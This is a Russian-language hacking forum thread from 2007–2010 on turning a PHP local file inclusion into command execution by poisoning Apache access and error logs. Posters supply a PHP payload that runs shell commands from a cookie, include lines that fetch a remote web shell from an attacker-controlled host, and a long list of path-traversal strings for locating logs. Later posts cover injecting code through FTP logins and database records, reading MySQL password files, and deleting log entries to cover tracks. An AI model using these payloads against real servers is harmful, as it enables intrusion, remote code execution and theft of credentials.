ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   Уязвимости (https://forum.antichat.io/forumdisplay.php?f=74)
-   -   access_log (https://forum.antichat.io/showthread.php?t=43022)

HERo!n 25.06.2007 10:10

access_log
 
Слышал что при локальном инклуде файла acces_log можно выполнять команды. Можно по подробнее ?

_Great_ 25.06.2007 10:39

Итак, ты открываешь страницу http://host.com/some_file.php?<? system($_COOKIE[cmd]);?>, только не браузером а прямой посылкой GET-запроса к серваку. Этот запрос запишется в файл access_log в том виде как он и есть. То есть там окажется способный к выполнению пхп-код.
Далее ты просто подключаешь инклудом access_log и выполняешь команды через параметр cmd из кукисов.

_Great_ 25.06.2007 10:47

ЗЫ. Ты получишь скорее всего 400 (bad request), но запись в логе останется:
Цитата:

127.0.0.1 - - [25/Jun/2007:10:45:41 +0400] "GET http://localhost/xek.php?<? system($_COOKIE[cmd]);?> HTTP/1.0" 400 406

oseLHAX 25.06.2007 10:51

лучше уж сразу записать что-то типа <? @include("http://omg.com/youshell.php"); ?>.
если инклуд удал файлов запрещен, то придется ипацо так как сказал грейтег =\

зы. и кстати лучше баловаться с error_log, ибо как правило он всегда меньше. ;)

_Great_ 25.06.2007 11:06

У меня в error_log пишется только название файла (some_file.php), а запрос к нему, в котором как раз и лежит код пхпшный, не пишется.. так что это не вариант.

Ну а насчет инклуда шелла - ну код пхпшный выбирается исходя из фантазии хеккера +) Так что будь то include или system($_COOKIE[cmd]) или что еще - это уже детали.
Да, в конце кода еще стоит дописать die; чтобы не тянуть с собой остаток лога.

Само собой, после укрепления в системе эту строчку из access.log стоит удалить ;)

slesh 28.06.2007 21:05

2 _Great_ Целый день бьюсь над тем чтобы под инклудить лог. Дык у себя на компе могу это сделать, а вот на удаленном - хоть убей не могу найти этот лог. А файл конфига - вообще не отдается. Перебрал уже кучу серваков. нигде нет лога.
P.S. серваки под пингвинами.
Пробывал:
../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../var/log/httpd/access-log
../../../../../../../../../var/log/httpd/access.log
../../../../../../../../../var/log/httpd/access
Нету файлов. также вместо httpd прописывал - apache.
т.к. на некоторых серваках он завется apache, а не httpd

МОжет подскажишь как его нащупать?
Вот файл с конфигом вроде нашел. Но подинклудить не удается. на запрос типа: ../../../../../../../../../etc/httpd/conf/httpd.conf отвечает:
Код:

Warning: main(/home/****/public_html/mydir/) [function.main]: failed to open stream: Success in /home/****/public_html/mydir/index.php on line 83

Fatal error: main() [function.require]: Failed opening required '/home/****/public_html/mydir/' (include_path='.:/usr/lib/php') in /home/****/public_html/mydir/index.php on line 83


_Great_ 28.06.2007 21:22

Иногда лог лежит в /usr/local/apache/logs/access.log или подобных. Не обязательно в /var/log.

ettee 28.06.2007 21:51

PHP код:

../../../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../../../var/log/httpd/error_log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../apache/logs/error.log
../../../../apache/logs/access.log
../../../../../apache/logs/error.log
../../../../../apache/logs/access.log
../../../../../../apache/logs/error.log
../../../../../../apache/logs/access.log
../../../../../../../apache/logs/error.log
../../../../../../../apache/logs/access.log
../../../../../../../../apache/logs/error.log
../../../../../../../../apache/logs/access.log
../../../logs/error.log
../../../logs/access.log
../../../../logs/error.log
../../../../logs/access.log
../../../../../logs/error.log
../../../../../logs/access.log
../../../../../../logs/error.log
../../../../../../logs/access.log
../../../../../../../logs/error.log
../../../../../../../logs/access.log
../../../../../../../../logs/error.log
../../../../../../../../logs/access.log
../../../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/log/error_log 


re-2 28.06.2007 22:07

спосибо, давно что то похожое искал

Dread 06.07.2007 13:11

Цитата:

Сообщение от _Great_
Итак, ты открываешь страницу http://host.com/some_file.php?<? system($_COOKIE[cmd]);?>, только не браузером а прямой посылкой GET-запроса к серваку. Этот запрос запишется в файл access_log в том виде как он и есть. То есть там окажется способный к выполнению пхп-код.
Далее ты просто подключаешь инклудом access_log и выполняешь команды через параметр cmd из кукисов.

Далее ты просто подключаешь инклудом access_log и выполняешь команды через параметр cmd из кукисов.

Можно тут по подробней для такого инклуда нужно найти бажный скрипт? и как это выполнять команды и куков?

Ni0x 06.07.2007 17:59

Цитата:

Можно тут по подробней для такого инклуда нужно найти бажный скрипт?
да, локальный инклуд.

Spyder 06.07.2007 18:06

Цитата:

и как это выполнять команды и куков?
забей на куки
вместо
<? system($_COOKIE[cmd]);?>
посылай
<? include('http://твой_сайт.ru/shell.php'); ?>

blackybr 06.07.2007 18:52

Не обязательно лог апача =))) разве в системе есть только они? )
А какже логи фтп сервера ? ) пути к которым можно узнать из их кфг файла. Тоесть опять же. мы логинимся с логином
Цитата:

<? include('http://твой_сайт.ru/shell.php'); ?>
а затем инклудим еррор лог от стоящего фтпшника.. (ну или акцеслог).. вообще бываает что запись идет в оба. (Именно логин а непасс, т.к. Пасс даже не коректный НЕ показывается в логах)

Dread 07.07.2007 10:11

Цитата:

Сообщение от Spyder
забей на куки
вместо
<? system($_COOKIE[cmd]);?>
посылай
<? include('http://твой_сайт.ru/shell.php'); ?>

я думаю там проканает только локальный инклуд! из вне наврятли!

The_HuliGun 07.07.2007 14:12

2 Dread
А ты лучше ну думай, а посмотри в phpinfo() директиву allow_url_fopen, и будешь знать навернека.

blackybr 08.07.2007 15:45

Цитата:

я думаю там проканает только локальный инклуд! из вне наврятли!
наркоманы наступают =)) при чем тут это :))))

Great: да не то слово просто =\

TaveL 17.09.2010 02:32

Пардон за некрофилию, но вопрос встал ребром:

что делать, если и access.log и error.log такого большого размера, что в память php не влазят (> 8 Мб)? и система win, так что /proc/self/environ не поюзать

попугай 17.09.2010 03:53

искать другие файлы, в которые можно записать инфу и инклюдить

TaveL 17.09.2010 13:49

Цитата:

Сообщение от попугай
искать другие файлы, в которые можно записать инфу и инклюдить

это понятно, ты бы хоть намекнул какие это могут быть файлы. можно в лс.

overxor 18.09.2010 02:23

Можешь попробывать подинклудить файл базы данных.

C:/program files/mysql5.0.45/data/mysql

К примеру на сайте зарегистрировать пользователя и в регистрационных данных указать

Цитата:

Сообщение от None


которые в последствии запишутся в бд.

Допустим shema_name(site) и table_name(users).

Тогда данный php код будет находится

Цитата:

Сообщение от None
C://program files/mysql5.0.45/data/site/users.MYD

Естественно версия мускула в пути будет твоя.

После этого можешь попытаться подинклудить php код.

PS.

Таким же образом можно прочитать мускульные пароли пользователей.

Цитата:

Сообщение от None
C://program files/mysql5.0.45/data/mysql/user.MYD


TaveL 18.09.2010 15:14

Цитата:

Сообщение от overxor
Можешь попробывать подинклудить файл базы данных.
...
PS.
Таким же образом можно прочитать мускульные пароли пользователей.

Интересная идея, правда в моем случае она не поможет, нет СУБД - статика, еще и на винде Но в целом очень полезно, кстати, если СУБД на другом сервере расположена, теоретически можно будет её файлы подинклудить?

overxor 19.09.2010 17:35

Цитата:

Сообщение от None
еще и на винде

Как раз только в винде такое и канает. В никсах идет жесткое разграничение по правам доступа и пользователь отличный от mysql прочитать файл базы данных не сможет.

Цитата:

Сообщение от None
нет СУБД - статика

Не обязательно СУБД именно от этого сайта. Может быть соседнии сайты используют эту же СУБД.

Цитата:

Сообщение от None
теоретически можно будет её файлы подинклудить?

Теоретически конечно возможно, если админ расшарил файлы базы данных по SMB. ))) Но как ты понимаешь, это Ооочень мало вероятно.

попугай 19.09.2010 18:58

Цитата:

Сообщение от TaveL
это понятно, ты бы хоть намекнул какие это могут быть файлы. можно в лс.

Кроме файлов баз данных - файлы почты, логов ftp, файлы сессии и прочее.

TheLuckyOne 26.09.2010 20:21

Раз тема поднялась...

Возникла проблема с access_log. При его чтении браузер зависает и всё) Так понимаю что он тяжкий по весу. Что делать?

shell_c0de 26.09.2010 21:37

2TheLuckyOne в первой странице этой ветки был ответ...

Цитата:

Сообщение от _Great_
Ну а насчет инклуда шелла - ну код пхпшный выбирается исходя из фантазии хеккера +) Так что будь то include или system($_COOKIE[cmd]) или что еще - это уже детали.
Да, в конце кода еще стоит дописать die;
чтобы не тянуть с собой остаток лога.


TaveL 27.09.2010 02:10

Цитата:

Сообщение от None
Да, в конце кода еще стоит дописать die; чтобы не тянуть с собой остаток лога.

Цитата:

Сообщение от TheLuckyOne
Раз тема поднялась...
Возникла проблема с access_log. При его чтении браузер зависает и всё) Так понимаю что он тяжкий по весу. Что делать?

Когда интерпретатор php встречает директиву include/require, он пытается загрузить в память файл, который в ней указан. Если этот файл размером больше, чем выделено памяти для процесса php, будет ошибка: "Fatal error: Allowed memory size of 25165824 bytes exhausted (tried to allocate 7979928 bytes)"

Хоть какой будет внутри лога код, хоть с die, хоть с чем. Ошибка происходит на стадии загрузки файла в память.

Expl0ited 27.09.2010 07:53

Цитата:

Сообщение от TaveL
Когда интерпретатор php встречает директиву include/require, он пытается загрузить в память файл, который в ней указан. Если этот файл размером больше, чем выделено памяти для процесса php, будет ошибка: "Fatal error: Allowed memory size of 25165824 bytes exhausted (tried to allocate 7979928 bytes)"
Хоть какой будет внутри лога код, хоть с die, хоть с чем. Ошибка происходит на стадии загрузки файла в память.

TheLuckyOne четко же написал? что "При его чтении браузер зависает" а не проблемы с памятью процесса PHP, тут уже проблема в браузере/канале интернета/наконец компьютере самого TheLuckyOne.

Теоретически эксплуатация возможна, но конечно бывает, что практически реализовать сложно из-за большого размера файла логов и маленького канала интернет соединения клиента.

TaveL 27.09.2010 08:27

Цитата:

Сообщение от Expl0ited
TheLuckyOne четко же написал? что "
При его чтении браузер зависает
" а не проблемы с памятью процесса PHP, тут уже проблема в браузере/канале интернета/наконец компьютере самого TheLuckyOne.

Я то же самое написал, что проблема не в размере файла у него.

Цитата:

Сообщение от Expl0ited
Теоретически эксплуатация возможна, но конечно бывает, что практически реализовать сложно из-за большого размера файла логов и маленького канала интернет соединения клиента.

Ок, вот и намекни как теоретически при размере файла большем чем доступно памяти php, нужно реализовывать такой инклуд, а уж практически мы разберемся на месте, не проблема. Просто написать, что теоретически это возможно и я могу.

З.Ы. Кстати, была идея форсировать очистку логов, но они растут такое впечатление что до бесконечности. до 1.5 гига access_log дорастил - результата нет.

Expl0ited 27.09.2010 08:47

Цитата:

Сообщение от TaveL
Я то же самое написал, что проблема не в размере файла у него.
Ок, вот и намекни как теоретически при размере файла большем чем доступно памяти php, нужно реализовывать такой инклуд, а уж практически мы разберемся на месте, не проблема. Просто написать, что теоретически это возможно и я могу.
З.Ы. Кстати, была идея форсировать очистку логов, но они растут такое впечатление что до бесконечности. до 1.5 гига access_log дорастил - результата нет.

Если размер файла выходит за рамки memory_limit, то ничего сделать не удастся. Я же писал, цитируя пост, TheLuckyOne, в котором он описывает то, что у него виснет браузер(!) от размера логов, а не PHP выдает ошибку из серии Allowed memory size...

Впрочем этот разговор выходит за рамки темы, а гадать, какая именно ситуация у TheLuckyOne, бессмысленно.

TheLuckyOne 27.09.2010 16:23

Всё верно, ошибки Memory_Limit другой случай.

У меня проблема была с несколькими хостами на тему зависания.


Время: 15:52